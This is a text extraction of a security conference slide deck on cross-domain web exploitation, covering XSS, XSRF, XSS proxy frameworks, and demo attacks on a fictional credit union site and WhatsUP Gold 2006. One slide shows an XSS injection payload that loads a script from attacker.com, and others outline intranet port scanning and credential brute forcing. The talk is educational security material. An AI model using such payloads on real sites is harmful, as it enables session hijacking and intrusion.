Kicking Down the Cross Domain Door Techniques for Cross Domain - - PowerPoint PPT Presentation

▶
kicking down the cross domain door
SMART_READER_LITE
LIVE PREVIEW

Kicking Down the Cross Domain Door Techniques for Cross Domain - - PowerPoint PPT Presentation

Sep 23, 2023 259 likes •583 views

Kicking Down the Cross Domain Door Techniques for Cross Domain Exploitation Billy K Rios (BK) and Raghav Dube Tabbed Browsing Rich Content Mash-ups Cookies JSON Ajax Implication of Cross Domain Attacks Implication of Cross Domain Attacks

slide-1
SLIDE 1

Kicking Down the Cross Domain Door

Techniques for Cross Domain Exploitation Billy K Rios (BK) and Raghav Dube

slide-2
SLIDE 2

Implication of Cross Domain Attacks Rich Content

Cookies Mash-ups Tabbed Browsing Ajax JSON

slide-3
SLIDE 3

Implication of Cross Domain Attacks

slide-4
SLIDE 4

Attack Foundations Cross Site Scripting (XSS)

  • I njected Client Code
  • Cookie Stealing
  • Browser Hijacking
  • Web Page Defacement
  • Hawtness
slide-5
SLIDE 5

Attack Foundations XSS Example / Demo

slide-6
SLIDE 6

Attack Foundations Cross Site Request Forgery (XSRF)

  • Applications Trust
  • Parameters, Cookie, I P Space…
  • Authenticated Examples
  • New Hawtness
slide-7
SLIDE 7

Attack Foundations XSRF Example / Demo

slide-8
SLIDE 8

Attack Foundations XSS meets XSRF

  • Using XSS and XSRF together!
  • XSSXSSRFSSX?
  • Both Have Strengths
  • Both Have Weaknesses
  • One Armed Boxers
slide-9
SLIDE 9

XSS Proxies and Frameworks XSS Proxy Fundamentals

  • Anton Rager – XSS Proxy
  • BeEf, XSS Shell, Backframe
  • < script> alert(‘xss’)< / script>
  • < script src = …/ proxy.js>
  • Dynamic JavaScript Payloads
  • Frames and Control Channels
slide-10
SLIDE 10

XSS Proxies and Frameworks XS-Sniper

  • Typical XSS Proxy
  • Rendering of HTML
  • Organization of Data
  • JavaScript Payloads Provided
  • Source Code Snippets
slide-11
SLIDE 11

XSS Proxies and Frameworks

Dynamic JavaScript Payload for execute.js Captured incoming HTTP requests to the XS-Sniper Proxy

slide-12
SLIDE 12

Dynamic JavaScript Payload for external.js

slide-13
SLIDE 13

XSS Proxies and Frameworks

slide-14
SLIDE 14

The Attack – The Initial XSS MyPercent20.com

  • Popular Social Networking/ Blogging Site
  • User Base of Tens of Thousands of Users
  • Allows Uploading of HTML and Other Content
slide-15
SLIDE 15

The Attack – BigCreditUnion.com BigCreditUnion.com

  • Typical Online Banking Website
  • Fictional Credit Union
  • Built-in Vulnerabilities for Demo
slide-16
SLIDE 16

The Attack – BigCreditUnion.com

The I nternet BigCreditUnion MyPercent20 Victim Attacker

slide-17
SLIDE 17

The Attack – BigCreditUnion.com Assumptions

  • The victim has access to the I nternet
  • BigCreditUnion.com has an XSS exposure
  • The victim is using I E or Firefox
slide-18
SLIDE 18

The Attack – BigCreditUnion.com Steps to Exploitation

  • Target Reconnaissance
  • I nitial XSS
  • Jumping to BigCreditUnion
  • Authenticated Attacks
  • Unauthenticated Attacks
slide-19
SLIDE 19

parent.myFrame3.location.href= 'htt p://www.bigcreditunion.com/login.a sp?acctnum= "> < /td> < script%20sr c= http://www.attacker.com/test/ex ternal-spot.js?> < /script> < td> '; http://www.attacker.com/test/external-spot.js?test123 http://www.attacker.com/test/noresponse.js?test123

slide-20
SLIDE 20

The Attack – BigCreditUnion.com DEMO

slide-21
SLIDE 21

The Attack – WhatsUP Gold 2006 WhatsUP Gold 2006

  • Made by I pswitch
  • Has Known XSS Vulnerabilities
  • Found on Corporate I ntranets
  • Not Limited to WhatsUP Gold
  • “Protected by Firewalls!”
slide-22
SLIDE 22

The Attack – WhatsUP Gold 2006

slide-23
SLIDE 23

The Attack – WhatsUP Gold 2006

slide-24
SLIDE 24

The Attack – WhatsUP Gold 2006

The I nternet MyPercent20 Victim Attacker WhatsUP Gold

slide-25
SLIDE 25

The Attack – WhatsUP Gold 2006 Assumptions

  • The management console is only available via the I ntranet
  • The victim will NOT be logged into the management console
  • The victim does NOT have a WhatsUP account
  • The victim is using Firefox (Possible with I E)
  • No unauthenticated XSS vulnerabilities
slide-26
SLIDE 26

The Attack – WhatsUP Gold 2006 Steps to Exploitation

  • Vulnerability Research
  • Target Reconnaissance
  • I nitial XSS
  • Port scanning and Fingerprinting
  • Brute Forcing Credentials
  • XSS follow-up
  • Driving I nteraction
slide-27
SLIDE 27

The Attack – WhatsUP Gold 2006 Creds List

slide-28
SLIDE 28

The Attack – WhatsUP Gold 2006 NOT LI MI TED TO WhatsUP Gold!

slide-29
SLIDE 29

The Attack – WhatsUP Gold 2006 DEMO

slide-30
SLIDE 30

WTF? One More Time… This time in Slow motion

slide-31
SLIDE 31

Questions and Thanks…

PEOPLE I ’ve MET Danya Nitesh Dhanjani Rajat Swarup Sriram Mike Crabtree Old PAC-CERT Crew Ed Souza PEOPLE I haven’t MET Jeremiah Grossman RSnake Anton Rager SPI Dynamics Black Hat

Houston & New York Advanced Security Centers!